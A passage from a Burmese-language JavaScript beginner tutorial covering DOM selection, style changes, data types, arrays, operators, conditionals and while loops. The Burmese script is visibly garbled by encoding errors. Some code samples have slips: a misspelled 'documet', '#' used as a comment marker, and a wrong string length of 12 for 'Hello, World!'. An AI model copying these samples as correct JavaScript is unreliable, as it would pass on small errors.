super, switch, synchronized, this, throw, throws, transient, true, try, typeof, var, volatile, void, while, with

ပုံ  (၄-ခ) မာှ  နမနူာိပးထားတဲ့  changeColor() Function  မာှ  လပု်ိ ဆာငခ်ျက်ြအိနနဲ့  နစ်ှိအကြာငး်ပါဝငပ်ါ
တယ်။  Code တစ်ိအကြာငး်ဆံုးတိုငး်  Semi-colon ( ; )  နဲ့ အဆံုးသတ်ိ ပးရေပါတယ်။ လက်ြိတွ့မာှ  Semi-colon
ထည့်ဖေိုိ့ မခ့ဲ့ရေငလ်ညး် JavaScript ကြ အဆင်ိ ပပိအာင ်အလပုလ်ပု်ိ ပးနိုငပ်ါတယ်။

var obj ဆုိတဲ့သတမ်တှခ်ျက်ြကြ obj လို့ အမညရ်ေတဲ့ Variable တစ်ခုိ အကြပငာလိုက်ြပခငး်ပဖေစ်ပါတယ်။ C, Java စ
တဲ့ Static Type Language ိတမွာှိတာ့ int i, float pi, String str စသပဖေင့် Variable ရေဲ့  Data
Type  ကုိြပါ တစ်ပါတညး် သတမ်တှ်ိ အကြပငာိပးရေမာှပဖေစ်ပါတယ်။  JavaScript  ကြိတာ့  Dynamic Type  ပဖေစ်လို့
Data Type သတမ်တှ်ိ ပး ဖေို့မလိုပ ဲ var Keyword ကုိြ အသံုးပပုိအကြပငာရေပခငး်ပဖေစ်ပါတယ်။

document.getElementById ဆုိတာကြ ID Selector ပဖေစ်ပါတယ်။ CSS မာှလိုပဲ JavaScript မာှလညး် စီမံ
လိုတဲ့  Element  ိတကုိွြ  အရေင်  Select  လုပ်ိ ပးရေပါတယ။်  document.getElementById ိနာက်ြကြ ဝိုက်ြ
ကွြငး် အဖေငွ့်အပတိထ်မဲာှ Element Id ကုိြ ထည့်သွငး်ိပးရေပါတယ်။ နမနူာမာှိတာ့ "note" လို့ထည့်သွငး်ိပးထား
ပါ တယ်။ အဓပိ္ပါယ်ကြ id="note" လ့ုိသတမ်တှထ်ားတဲ့  Element ကုိြ  JavaScipt DOM API သံုးပပီး  Select
လပုယူ် လိုက်ြပခငး်ပဖေစ်ပါတယ်။ 

var obj = documet.getElementById("note");

အထက်ြပါ Code ရေဲ့  အဓပိ္ပါယ်အပပည့်အစံုကြိတာ့ id="note" လို့သတမ်တှထ်ားတဲ့ Element ကုိြ Select လုပယူ်
ပပးီ  obj Variable  ထဲကုိြ  ထည့်သွင်းိပးလိုက်ြပခငး်  ပဖေစ်ပါတယ်။  သတမ်တှခ်ျက်ြအရေ  obj Variable  ထဲမာှ
id="note" သတမ်တှထ်ားတဲ့ Element ိရောက်ြရေှိိ နမာှပ ဲပဖေစ်ပါတယ်။

မတ်ှချကြ်  ။  ။ document.getElementById ိရေးတ့ဲအခါ  စာလံုးိသးိနရောစာလံုးိသး  စာလံုးကကြးီိနရောစာလံုးကကြးီ  မနှ်
ိအာင ်ိရေးိပးရေပါတယ။် JavaScript ဟာ Case Sensitive ပဖေစလုိ် ့စာလံုးအကကြးီအိသးလဲွလုိမ့ရေပါဘးူ။

ိနာက်ြတစ်လိုငး်မာှ  obj.style.color="red" လို့  သတမ်တှထ်ားပါတယ်။   ပုံ  (၄-ခ)  မာှ  မတှခ်ျက်ြထည့်
သွငး်ိပးထားတဲ့အတိုငး်  color ိနရောမာှ  ကြျွန်ိ တာတ်ိုိ့ လလ့ာခဲ့ပပးီပဖေစ်တဲ့  CSS Property  အများစု  အစားထိုး
အသံုးပပုနိုငပ်ါတယ်။ အလားတပူဲ  "red" ိနရောမာှလညး် သတမ်တှလ်ိုတဲ့  CSS Value  ိတ ွသတမ်တှ်ိ ပးနိုင် ပါ
တယ်။
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မတ်ှချကြ် ။ ။ background-color လုိ  CSS Property  ိတွကြိုိ တာ့  backgroundColor လုိသ့ုံးိပးရေမာှပဖေစပ်ါတယ။်
Dash ( - ) ကြ JavaScript ရေဲ့  Minus Operator ပဖေစ်ိ နလုိ့ ထည့်သုံးလုိမ့ရေပါဘးူ။  Dash ကြိုပဖေုတ်ပပးီ ိနာကြစ်ာလံုးတစလံု်းကြို
စာလံုးကကြးီနဲ့စိပးလုိကြယ်ုံပါပ။ဲ  ဥပမာ  -  obj.style.backgroundColor = "yellow"  ဒနီညး်နဲ့  CSS Property
အများစကုြို ပပနအ်သုံးပပုနိုငပ်ါတယ။်

changeColor() Function အလပုလ်ပုပ်ုံအပပည့်အစံုကြိတာ့ id="note" လို့ သတမ်တှထ်ားတဲ့ Element ရေဲ့
စာလုံး  အိရောငကုိ်ြ  အနီိ ရောင်ိ ပပာငး်လိုက်ြပခငး်ပပဲဖေစ်ပါတယ်။  Function  ဆုိတာ  အိပခခအံားပဖေင့်  သတမ်တှခ်ျက်ြ
သက်ြသက်ြ ပဖေစ်ပါတယ်။ သတမ်တှထ်ားတဲ့  Function  ကုိြ အသံုးပပုဖေိုိ့ ခါ်ယူတဲ့အခါမသှာ အလပုလ်ပုသွ်ားမာှပဖေစ်ပါ
တယ်။  ပုံ  (၄-ကြ)  နမနူာနဲ့  ပုံ  (၄-ခ) နမနူာတို့ကုိြ  တွဲဖေက်ြအကြည့်ရေင်  <button> ကုိြ  Click  လုပ်ိ တာမ့သှာ
changeColor() Function  ကုိြ  ိခါ်ယူအသံုးပပုသွားမာှပဖေစ်ပါတယ်။  ဒါိအကြာင့်  id="note" လ့ုိ  သတမ်တှ်
ထားတဲ့  Element  ဟာ မလူကြ စာလုံးအိရောင် တစ်မျို းပဖေစ်ိနိပမယ့်  <button> ကုိြ နှိပလ်ိုက်ြတဲ့အခါမာှ စာလုံး
အိရောငက်ြ အနီိ ရောငကုိ်ြ ိပပာငး်သွားမာှပါ။

မတ်ှချကြ်  ။  ။ နမနူာမာှိရေးသားထားသလုိ  နစှ်ိ အကြာငး်ခွဲမိရေးပဲ  တစ်ိ အကြာငး်တညး်  တစဆ်ကြတ်ညး်ိရေးရေငလ်ညး်  ရေလဒက်ြ
အတူတူပဲ  ပဖေစမ်ာှပါ  -  document.getElementById("note").style.color = "red" လုိ့  ိရေးနိုငပ်ါတယ။်
Select လုပ် ထားတ့ဲ Element ိတွ ကြို Variable ထဲထည့်ပပးီ Cache လုပတ်ာဟာ အိလ့အကြျင့ိ် ကြာငး်တစခ်ု ပဖေစတ့ဲ်အတွကြ်
နမနူာမာှ ခွဲပပးီိရေးပပထားတာ ပဖေစပ်ါတယ။်

ဒနီညး်နဲ့  Event, Function, DOM ID Selector တို့ကုိြ တွဲဖေက်ြအသံုးပပုပပီး Document တစ်ခမုာှရေှိတဲ့ Element
ိတကုိွြ လုိအပသ်လိုစီမနံိုငမ်ာှပပဲဖေစ်ပါတယ်။ 

ဆက်ြလက်ြပပးီ  JavaScript  Programming  Language  ရေဲ့  အိပခခတံစ်ချို ့ကုိြိဖောပ်ပချငပ်ါတယ်။   ဒစီာအုပမ်ာှ
Programming  Basic  ကုိြ  အိသးစတိ်  ထည့်သွင်း  ရေငှး်ပပနိုငမ်ာှမဟတုပ်ါဘူး။  စာဖေတသူ်ဟာ  Programming
အိပခခံိ တပွဖေစ်တဲ့  Variable, Array, Operator, Conditional Statement, Loop  အစရေှိတဲ့ သိဘာတရေားိတွ
ကုိြ သိရေှိပပးီပဖေစ်တယ်လို့ ယူဆထားမာှပါ။  JavaScript Programing Language နဲ့သကြဆုိ်ငတ်ဲ့ အပိုငး်ိတကုိွြသာ
အဓကိြ ိဖောပ်ပိပးသွားမာှပဖေစ်ပါတယ်။ 

4.4 - Data Type and Array
JavaScript  မာှ အိပခခံ  Data Type (၃)  မျို းပရဲေှိပါတယ်။  boolean, number နဲ့  string တို့ ပဖေစ်ပါတယ်။
null နဲ့ undefined တို့ကြိတာ့ ဘယ် Data Type ထဲမာှမမှပါတဲ့ Special Value ိတပွဖေစ်ပါတယ်။ boolean
Data Type မာှ true နဲ့ false ဆုိပပီး တနဖ်ေိုးနစ်ှခပုါဝငပ်ါတယ်။

တစ်ပခား  Language  ိတမွာှ  int, float, double, long  စသပဖေင့်  Number Data Type  အမျို းမျို း
ရေှိိ ပမယ့်  JavaScript  မာှတစ်မျို းပရဲေှိပါတယ်။ တစ်ပခား  Language  ိတကွြ  double နဲ့ညတီဲ့  64-bit Floating
Point Number တစ်မျို းကုိြပဲ ကိြနး်ဂဏနး် တနဖ်ေိုးအားလုံးအတက်ွြအသံုးပပုတာပါ။ NaN ကြ Number Data Type
ထမဲာှ တစ်ခ ုအပါအဝငပ်ဖေစ်ပါတယ။် Not a Number ရေဲ့  အတိုိ ကြာက်ြပဖေစ်ပါတယ်။
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string Data Type မာှိတာ့ တနဖ်ေိုးအပဖေစ် Single Quote ( ' ) သုိမ့ဟတု် Double Quote ( " ) အဖေငွ့်အပတိန်ဲ့
ိရေးသားထားတဲ့  စာိတပွါဝငပ်ါတယ။်  လိုအပရ်ေင်  စာိအကြာငး်တစ်ိအကြာငး်မာှ  ပါဝငတ်ဲ့စာလုံး  အိရေအတက်ွြကုိြ
length  Property အသံုးပပု ရေယူနိုငပ်ါတယ်။

var greet = "Hello, World!";
var len = greet.length;        # => 12

ရေှိတဲ့  Data  Type  ိတကုိွြ  သိထားိအာငထ်ည့်သွငး်ိဖောပ်ပတာပါ။  လက်ြိတွ့မာှ   Dynamic  Type  ပဖေစ်လို့
Language ကြပ ဲData Type ိတကုိွြ စီမံိ ပးသွားမာှပဖေစ်ပါတယ်။

မတ်ှချကြ်  ။ ။ JavaScript  Code  ထဲမာှ မတ်ှချကြ်  Comment  ိတွ ထည့်သငွး်ဖေို့အတွကြ်  // Operator  ကြို  သုံးနိုငပ်ါတယ။်
JavaScript  ကြ // ိနာကြမ်ာှ ိရေးသားထားတ့ဲ မတ်ှချကြ်ိ တွကြို ထည့်သငွး်အလုပလု်ပမ်ာှမဟတ်ုပါဘးူ။ ပပးီိတာ့  CSS မာှလုိပဲ
/* နဲ့  */ အကြားထဲမာှ  ိရေးသားထားတ့ဲ  မတ်ှချကြ်ိ တွကြိုလညး်  ထည့်သငွး်အလုပလု်ပမ်ာှမဟတ်ုပါဘးူ။  မတ်ှချကြတ်စ်ိ အကြာငး်
တညး် ိရေးလုိတာ ဆုိရေင်  // ကြို အသုံး ပပုနိုငပ်ပးီ တစ်ိ အကြာငး်ထကြပ်ိုတ့ဲ မတ်ှချကြ်ိ တွကြိုိ တာ့  /* နဲ့  */  အကြားထဲမာှိရေးသား
သင့်ပါတယ။်

JavaScript  မာှ  Variable ိတကုိွြ  var Keyword  အသံုးပပုပပးီ  ကကိြုတင်ိ အကြပငာပပးီမအှသံုးပပုနိုငသ်လို၊  လံုးဝ
မိအကြပငာပလဲညး်  လိုတဲ့အချနိ်  ချက်ြပခငး်အသံုးပပုနိုငပ်ါတယ်။  ဒါိပမယ့်  var Keyword  အသံုးပပုပပးီ  ကကိြုတင်
ိအကြပငာတာဟာ တစ်ချို ့ မလိုလားအပတ်ဲ့ အမာှးိတကုိွြသက်ြသာိစလို့ အပမတဲမး်ကကိြုတင်ိ အကြပငာပပးီမသှာ အသံုးပပု
သင့်ပါတယ။် တစ်ခထုက်ြပိုတဲ့တနဖ်ေိုးိတကုိွြ အတွဲလိုက်ြသိမး်ဆည်းလိုရေင်  Array ကုိြ  အသံုးပပုနိုငပ်ါတယ်။  Array
ိအကြပငာသတမ်တှပ်ုံကြ ဒလီိုပါ - 

var months = [];
months[0] = "Jan";
months[1] = "Feb";
months[2] = "Mar";
…

(သို့မဟတ်ု)

var months = ["Jan", "Feb", "Mar", … ];

အရေင်ဆံုး Array အလတွတ်စ်ခကုိုြ ိလးိဒါင့်ကွြင်းအလတွန်ဲ့ ိအကြပငာသတမ်တှပ်ပးီမှ ထည့်သွငး်လိုတဲ့ တနဖ်ေိုးိတကုိွြ
သက်ြဆိငုရ်ော  Index  နပံါတစ်ဉ်အလိုက်ြသတမ်တှ်ိ ပးနိုငပ်ါတယ်။  ိနာက်ြတစ်နညး်ကြိတာ့  စတင်ိ အကြပငာ
ကြတညး်ကြ ိဒါင့်ကွြငး်  အဖေငွ့်အပတိထ်မဲာှ  သိမး်ဆညး်လိုတဲ့တနဖ်ေိုးိတကုိွြ အတွဲလိုက်ြိပးလိုက်ြလို့လညး်ရေပါတယ်။
နပံါတစ်ဉကုိ်ြ  အလိုလိုတပ်ိ ပး  သွားပါလမိ့်မယ်။   Array  ိတဟွာ  Index  နပံါတစ်ဉကုိ်ြ  Zero  (0)  ကြ ိနစတင်
ိရေတက်ွြပါတယ်။  Array  တစ်ခမုာှ  သိမး်ဆညး်ထားတဲ့  တနဖ်ေိုး  အိရေအတက်ွြကုိြ  သိရေှိလိုရေငလ်ညး်  length
Property ကုိြပ ဲအသံုးပပုနိုငပ်ါတယ်။
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var months = ["Jan", "Feb", "Mar", "Apr", "May"];
var len = months.length; # => 5

မတ်ှချကြ။် ။ Static Type Language ိတွမာှ Array တစခ်ု သတ်မတ်ှတ့ဲအခါ သမိး်ဆညး်လုိတ့ဲပမာဏနဲ့ သမိး်ဆညး်မယ့် Data
Type  များကြို ထည့်သငွး်ိအကြပငာိပးရေပါတယ။်  JavaScript  မာှိတာ့ ထည့်သငွး် ိအကြပငာစရော မလုိအပပ်ါဘးူ။ လွတ်လွတ်လပ်
လပ ်လုိသလို သတ်မတ်ှထည့်သငွး်သာွးနိုငပ်ါတယ။်

4.5 - Operators
ိပါငး်  (+),  နှုတ် (-),  ိပမာှက်ြ (*),  စား (/) Operator ိတကုိွြ တက်ွြချက်ြမှု တွိ ဆာငရ်ေက်ွြဖေို့ အသံုးပပုနိုငပ်ါတယ်။
Modulus (%) Operator ကုိြိတာ ့အကကြငး်ရောှဖေို့အသံုးပပုနိုငပ်ါတယ်။

var x = y + z;
var r = 123;
var a = 3.14 * r * r;
var x = (a * a) / (b + c) - 3;
var i = 5 % 3; # => 2

+ Operator ကုိြ ဂဏနး်ိတွိ ပါင်းဖေို့အသံုးပပုသလို စာိအကြာငး်ိတဆွက်ြဖေို့လညး် အသံုးပပုနိုငပ်ါတယ်။

var name = "John Doe";
var greet = "Hello " + name; # => Hello John Doe
var price = "$" + 3 + 4; # => $34

Equal  (  = )  Operator  ကုိြ  တနဖ်ေိုးိတ ွ Assign  လပုဖ်ေို့သံုးပါတယ်။  အိပခခအံားပဖေင့်  ညာဘက်ြကြတနဖ်ေိုးကိြု  =
Operator ရေဲ့  ဘယ်ဘက်ြမာှရေှိတဲ့ Variable ထဲကုိြထည့်သွငး်သတမ်တှပ်ခငး် ပဖေစ်ပါတယ်။ += ကုိြိတာ့ လက်ြရေှိတနဖ်ေိုး
ထမဲာှ ိနာက်ြထပတ်နဖ်ေိုးိတ ွထပ်ိ ပါင်းထည့်ဖေို့သံုးပါတယ်။ -= ကုိြိတာ့ လက်ြရေှိတနဖ်ေိုးထကဲြိန ိပးထားတဲ့ တနဖ်ေိုး
ကုိြ နှုတလ်ိုက်ြဖေို့သံုးရေပါတယ်။ အလားတပူ ဲ *=, /=, %= တို့ကုိြလညး်အသံုးပပုနိုငပ်ါတယ်။ 

var greet = "Hello ";
greet += "Jame Doe"; # => Hello Jame Doe

var x = 8;
x -= 3; # => 5
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++ Operator ကုိြ လက်ြရေှိတနဖ်ေိုးမာှ (၁)တိုးဖေို ့အသံုးပပုနိုငပ်ါတယ်။  -- Operator ကုိြိတာ ့လက်ြရေှိတနဖ်ေိုးကြိန (၁)
နှုတလ်ိုက်ြဖေို့ သံုးနိငုပ်ါတယ်။ 

var x = 5;
x++; # => 6
++x; # => 7
x--; # => 6
--x; # => 5

==, ===, !=, <, >, <=, >= စတဲ့  Operator  ိတကုိွြ  တနဖ်ေိုးိတနွှိုငး်ယှဉဖ်ေို့  အသံုးပပုနိုငပ်ါတယ်။
နှိုငး်ယှဉမ်ှု ရေလဒကုိ်ြ boolean တနဖ်ေိုး true သုိမ့ဟတု် false နဲ့ ပပနလ်ညရ်ေရေှိမာှပဖေစ်ပါတယ်။ ထးူပခားချက်ြအိန
နဲ့   == Operator  ကြ  Equal To  ဆုိတဲ့အဓပိ္ပါယပ်ဖေစ်ပပးီ  === Operator  ကြိတာ့  Identical  ဆုိတဲ့အဓပိ္ပါယပ်ါ။
တနဖ်ေိုးနစ်ှခု  "ချွတစွ်တတ်ူ သလား"  နှိုငး်ယှဉပ်ါတယ်။ အိပခခအံားပဖေင့်  == Operator  ကြ တနဖ်ေိုးတမူတကုိူြပဲ စီစစ်
ိပးပါတယ်။ === Operator ကြိတာ ့တနဖ်ေိုးသာမကြ Data Type တမူတကုိူြပါ စီစစ်ိပးပခင်းပဖေစ်ပါတယ်။

var x = 5;
var y = 3;

var a = x == y; # => false
var b = x != y; # => true
var c = x > 5; # => false
var d = x >= 5; # => true
var i = 5 == "5" # => true
var j = 5 === "5" # => false 

&& Operator  ကြိတာ့  AND  ဆုိတဲ့ အဓပိ္ပါယ်ပဖေစ်ပါတယ်။ အအကြမး်ဖေျငး်အားပဖေင့်  AND Operator  ကြ နှိုငး်ယှဉ်
တနဖ်ေိုး အားလုံး true ပဖေစ်မရှေလဒ် true ကုိြ ပပန်ိ ပးမာှပဖေစ်ပါတယ်။ နှိုငး်ယှဉတ်နဖ်ေိုးိတထွမဲာှ တစ်ခု false ပဖေစ်
တာနဲ့  ရေလဒက်ြ  false ပဲ  ပဖေစ်မာှပါ။  || Operator  ကြိတာ့  OR  ဆုိတဲ့အဓပိ္ပါယ်ပါ။  OR Operator  ကြိတာ့
နှိုငး်ယှဉတ်န် ဖေိုးိတထွကဲြ တစ်ခုိ လာက်ြ true ပဖေစ်တာနဲ့ ရေလဒ် true ကုိြ ပပန်ိ ပးမာှပါ။ နှိုငး်ယှဉတ်နဖ်ေိုးအားလုံး
false ပဖေစ်ိန မသှာ ရေလဒက်ြ false ပဖေစ်မာှပဖေစ်ပါတယ်။ Exclamation (!) ကြိတာ့ NOT ဆုိတဲ့ အဓပိ္ပါယ်ပဲ ပဖေစ်
ပါတယ်။ မလူ boolean ရေလဒကုိ်ြ ိပပာငး် ပပနလ်နှဖ်ေို့ အသံုးပပုနိုငပ်ါတယ်။

var x = 5;
var y = 3;

var a = x == y && x == 5; # => false
var b = x == y || x == 5; # => true
var c = !(x == y || x == 5); # => false

&& ကုိြ Guard Operator လို့လညး်ိခါ်ပါတယ်။  သူရေဲ့  အမနှတ်စ်ကြယ်အလပုလ်ပုပ်ုံကြ၊ ဘယ်ဘက်ြကြတနဖ်ေိုးကုိြ အ
ရေင်  စ်ပါတယ်၊  false ပဖေစ်ိနရေင်  အ့ဲဒတီနဖ်ေိုးအတိုငး်ပပန်ိ ပးပါတယ်။  ဘယ်ဘက်ြကြတနဖ်ေိုးကြ  true ဆုိရေင၊်
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ညာဘက်ြကြ တနဖ်ေိုးကုိြ (စစ်မိနိတာပ့)ဲ တနဖ်ေိုးအတိုင်းပပန်ိ ပးပါတယ်။ var len = months.length; လ့ုိ
သတမ်တှလ်ိုက်ြရေင၊် အကြယ်၍ months Array ကြ null ပဖေစ်ိနတဲ့အခါ မရေှိတဲ့တနဖ်ေိုးကုိြရေယူဖေို့ကကိြုးစားသလို ပဖေစ်
ိနလို့ Error ပဖေစ်ပပးီ Program လညး်ရေပသွ်ားမာှပါ။ ဒီိ တာ့ && ကုိြ Guard အိနနဲ့အသုံးချပပးီ အခလုိုိ ရေးသားနိုင်
ပါတယ်။

var len = months && months.length;

&& ကြ ိရေှ့တနဖ်ေိုးပဖေစ်တဲ့  months ကုိြ စစ်အကြည့်လိုက်ြလို့ null ပဖေစ်ိနရေင ်boolean false ပဖေစ်တဲ့အတက်ွြ အ့ဲဒီ
null ကုိြပဲ ပပန်ိ ပးလိုက်ြမာှပဖေစ်လို့ len ရေဲ့  တနဖ်ေိုးကြလညး် null ပဖေစ်သွားမာှပါ။ months.length ကုိြ ထပပ်ပးီ
စစ်မိနိတာလ့ို့  Error  လညး် မတက်ြိတာပ့ါဘးူ။  အကြယ်၍  months ကြ  null မဟတုပ်ဲ  တနဖ်ေိုးရေှိိ နိတာမ့ှ
ိနာက်ြ တစ်ခပုဖေစ်တဲ့ months.length ပပန်ိ ပးမာှပဖေစ်လို့ len ရေဲ့  တနဖ်ေိုးအပဖေစ်  months Array ရေဲ့  length ရေှိ
သိလာက်ြတနဖ်ေိုးကုိြ ရေရေှိမာှပ ဲပဖေစ်ပါတယ်။ ဒလီိုအသံုးပပုနိုငလ်ို့ && ကုိြ Guard Operator လိုိ့ ခါ်တာပါ။

|| ကုိြ  Default  Operator  လို့လညး်ိခါ်ပါတယ်။ သူရေဲ့  အမနှတ်စ်ကြယ်အလပုလ်ပုပ်ုံကြ  && လိုပဲ  ဘယ်ဘက်ြကြ
တနဖ်ေိုး ကုိြ အရေငစ်စ်ပါတယ်။  boolean true ပဖေစ်ိနရေင် ညာဘက်ြကြတနဖ်ေိုးကုိြ ထပမ်စစ်ိတာပ့ဲ ဘယ်ဘက်ြကြ
တနဖ်ေိုးကုိြ ပပန်ိ ပးပါတယ်။ ဘယ်ဘက်ြကြ တနဖ်ေိုးကြ false ပဖေစ်ိနိတာမ့ှ ညာဘက်ြကြ တနဖ်ေိုးကုိြ (စစ်မိနိတာပ့)ဲ
ပပန်ိ ပးပါတယ်။

var x = a || 10;

a  ကုိြ စစ်အကြည့်လိုက်ြလို့တနဖ်ေိုးရေှိိ နရေင် အဲဒ့တီနဖ်ေိုးကုိြ ပပန်ိ ပးလိုက်ြမာှပဖေစ်လို့  x ရေဲ့  တနဖ်ေိုးအပဖေစ်  a ရေဲ့တနဖ်ေိုးကုိြရေရေှိ
မာှ ပဖေစ်ပါတယ်။ အကြယ်၍  x  ကြ false ပဖေစ်ိနရေင် ညာဘက်ြကြတနဖ်ေိုးကုိြပပန်ိ ပးမာှပဖေစ်လို့ x ရေဲ့တနဖ်ေိုးလညး် 10
ပဖေစ်သွား မာှပါ။ အဓပိ္ပါယ်ကြ a ရေှိရေင် a ကုိြသံုးမယ်၊ မရေှိရေင်ိ တာ့ 10 ကုိြသံုးမယ်ဆုိတဲ့သိဘာ ပဖေစ်သွားိစပါတယ်။ ဒါ
ိအကြာင့် || ကုိြ Default Operator လိုိ့ ခါ် ပခငး်ပဖေစ်ပါတယ်။

အလားတပူဲ ! မာှလညး်ထးူပခားချက်ြရေှိပါတယ်။ နစ်ှခတုွိဲ ရေးထားတဲ့ !! Operator ကုိြတနဖ်ေိုးိတ ွboolean ိပပာငး်
ဖေို့ သံုး နိုငပ်ါတယ်။ 

var a = !!undefined; # => false
var x = !!"Hello"; # => true
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4.6 - Control Structures
Conditional Statements
JavaScript  မာှ  အိပခအိန (Condition)  ိပါ်မာှ  မတူည်  အလပုလ်ပုရ်ေမယ့်  လပု်ိ ဆာငခ်ျက်ြိတသွတမ်တှ်  ဖေို့
အတက်ွြ if Statement ကုိြ အသံုးပပုပါတယ်။ ိရေးသားပုံကြို  ပုံ (၄-ဂ) မာှ ိဖောပ်ပထားပါတယ်။ 

ပုံ (၄-ဂ) JavaScript if Statement

if Keyword  ရေဲ့ိနာက်ြ  ကွြငး်စကွြငး်ပတိထ်မဲာှ  စီစစ်လိုတဲ့  Condition  ကုိြိပးရေပါတယ်။  နမနူာအရေ  today
Variable  ရေဲ့  တနဖ်ေိုးဟာ  sunday ပဖေစ်ခဲ့မယဆုိ်ရေင်  ိနာက်ြကြပရ်ေပမ်ာှ  ိရေးသားထားတဲ့  တနွ့်ကွြငး်အဖေငွ့်အပတိ်
Block ထဲကြ Statement ိတကုိွြ အလပုလ်ပု်ိ ပးမာှပဖေစ်ပပးီ  today Variable ရေဲ့တနဖ်ေိုးဟာ sunday မဟတုဘ်းူ
ဆုိရေင်ိ တာ ့else ိနာက်ြမာှ ဆက်ြိရေးထားတဲ့ တနွ့်ကွြင်းအဖေငွ့်အပတိ် Block ထကဲြ Statement ိတကုိွြ အလပုလ်ပု်
ိပးသွားမာှ ပဖေစ်ပါတယ်။ else Block ကြ မလိုအပရ်ေင် ချနခ်ဲ့လို့လညး် ရေပါတယ်။

if အပါအဝင် တစ်ပခား Control Syntax ိတမွာှ လုပ်ိ ဆာငခ်ျက်ြကြ တစ်ိအကြာငး်တညး် (one statement) ဆုိရေင်
တနွ့်ကွြင်းိတ ွထည့်ဖေို့မလိုပါဘးူ။  တနွ့်ကွြငး်ိတကွြ လပု်ိ ဆာငခ်ျက်ြ တစ်ခထုက်ြပိုတဲ့အခါ စုစညး်ဖေို့အသံုးပပုတာပါ။
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if( today == "sunday" ) {
  say( "Super Sunday!" );
}

(သုိမ့ဟတု်)

if( today == "sunday" ) say( "Super Sunday!" );

(သုိမ့ဟတု်)

if( today == "sunday")
  say( "Super Sunday!");

ိဖောပ်ပထားတဲ့ နမနူာသံုးခဟုာ ိရေးသားပုံကဲွြပပားိပမယ့် ရေလဒက်ြအတတူပူဲ ပဖေစ်ပါတယ်။ ပထမဆံုး နမနူာမာှ တနွ့်
ကွြငး်ိတထွည့်ိ ပမယ့် ိနာက်ြနမနူာိတမွာှမထည့်ိ တာပ့ါဘးူ။ ိဆာငရ်ေက်ွြိစချငတ်ဲ့လပု်ိ ဆာငခ်ျက်ြကြတစ်ိအကြာငး်
တညး်မို့ ပဖေစ်ပါတယ်။ ိရေးွချယ်စရောိတ ွနစ်ှခထုက်ြပိုလာတဲ့အခါ ိရေးသားိလရ့ေှိတဲ့  if - else if - else
ိရေးနညး်နမနူာ ကုိြ ပုံ (၄-ဃ) မာှိဖောပ်ပထားပါတယ်။

ပုံ (၄-ဃ) JavaScript If - Else If - Else Syntax
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Switch Statement
Switch Statement ကြိတာ့ ိပးထားတဲ့တနဖ်ေိုးနဲ့ တူညတီဲ့အပိုင်းကုိြပဲ ိရေးွပပးီအလပုလ်ပု်ိ ပးတဲ့  Control Syntax
ပဖေစ်ပါတယ်။ ပုံ (၄-ဃ) မာှိပးထားတဲ့ နမနူာကုိြ Switch Statement နဲ့ ိပပာငး်ိရေးအကြည့်ပါမယ်။

switch( today ) {
  case "monday":
  case "tuesday":
  case "wednesday":
  case "thursday":
    say("Boring weekdays"); break;
  case "friday":
    say("TGIF!"); break;
  case "saturday":
    say("Happy Caturday!"); break;
  case "sunday":
    say("Yay, super Sunday!"); break;
  default:
    say("Too dizzy! Not sure what day it is. @_@ ");
}

switch ရေဲ့အိပခခအံလပုလ်ပုပ်ုံကြိတာ့  ဝိုက်ြကွြငး်ထမဲာှိပးထားတဲ့  တနဖ်ေိုးနဲတ့ညူတီဲ့တနဖ်ေိုးရေှိရော  case ကုိြခနု်
ိကြျာပ်ပးီ  သူ့ိ အာက်ြမာှ  ိရေးထားသမျှ အကုြနဆ်က်ြလပုသွ်ားတဲ့သိဘာ  ပဖေစ်ပါတယ်။  ဒါိအကြာင့်   today ဟာ
monday,  tuesday,  wednesday,  thursday တစ်ခခုပုဖေစ်ိနမယ်ဆုိရေင်  say("Boring
weekdays") ကုိြ  လပု်ိ ဆာင်ိ ပးသွားမာှ  ပဖေစ်ပါတယ။်  အကြယ်၍  today ကြ  friday ပဖေစ်ခဲ့မယ်ဆိရုေင်
say("TGIF!") ကုိြ အလပု် လုပပ်ပးီ  break  ကုိြိတွ့တဲ့အတက်ွြ ိအာက်ြကြ ကြျနတ်ဲ့အလပု်ိ တ ွထပမ်လပု်ိ တာပ့ဲ
ထက်ွြသွားမာှပါ။ ကုိြက်ြညတီဲ့  case တစ်ခမုမှိတွ့ရေင်ိ တာ့  default: ရေှိရော ကုိြခနုသွ်ားပပီး သူ့ိ အာက်ြကြိရေးထား
တာ ိတကုိွြ ဆက်ြလပု်ိ ပးသွားမာှပပဲဖေစ် ပါတယ်။

Loops
တညူတီဲ့လပု်ိ ဆာငခ်ျက်ြိတကုိွြ ထပခ်ါထပခ်ါလပုဖ်ေိုလ့ိုတဲ့အခါ  Loop ိတကုိွြသံုးရေပါတယ်။ ိရေးသားပုံကြ ဒလီိုပါ -

while( condition ) { 
  // do this until condition is false
}

while ိနာက်ြကြဝိုက်ြကွြငး်အဖေငွ့်ပတိထ်မဲာှ Condition ထည့်သွငး်ိပးရေပါတယ်။ Condition ရေဲ့  ရေလဒ် true ပဖေစ်
ိန သမျှ ကြာလပတလ်ုံး တနွ့်ကွြငး်အဖေငွ့်အပတိ ် Block ထဲမာှ ိရေးသားထားတဲ့ သတမ်တှခ်ျက်ြိတကုိွြ  ထပခ်ါထပခ်ါ
ပပန ်လပု်ိ ပးိနမာှပဖေစ်ပါတယ။် နမနူာတစ်ခ ုိဖောပ်ပိပးလိုက်ြပါတယ် - 
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<select id="months"></select>
<script>
  var months = [
    "Jan", "Feb", "Mar", "Apr", "May", "Jun", 
    "Jul", "Aug", "Sep", "Oct", "Nov", "Dec"];
  var data, i = 0, len = months.length;
  while(i < len) {
    data += "<option>" + months[i] + "</option>";
    i++;
  }
  document.getElementById("months").innerHTML = data;
</script>

နမနူာမာှ  while Loop  ကုိြသံုးပပးီ  months Array  ထဲကြတနဖ်ေိုးိတကုိွြ  HTML  <option> Element  ိတွ
အပဖေစ် ိပပာငး်ပပီး  id="months" လို့ ိပးထားတဲ့  <select> Element ထကုိဲြ ထည့်လိုက်ြတာပဖေစ်ပါတယ်။ နမူ
နာမာှ ထည့်သွငး်အသံုးပပုထားတဲ့ innerHTML ဟာလညး် DOM Attribute တစ်ခပုဖေစ်ပါတယ်။ Select လုပထ်ား
တဲ့ Element ရေဲ့  Element Content ကုိြ သတမ်တှဖ်ေို ့innerHTML ကုိြ အသံုးပပုရေပါတယ်။

Loop  အလပုလ်ပုသွ်ားပုံကုိြ ိလ့လာအကြည့်ပါမယ်။  i ရေဲ့  သတမ်တှတ်နဖ်ေိုးကြ  0 ပဖေစ်ပါတယ်။  months Array  မာှ
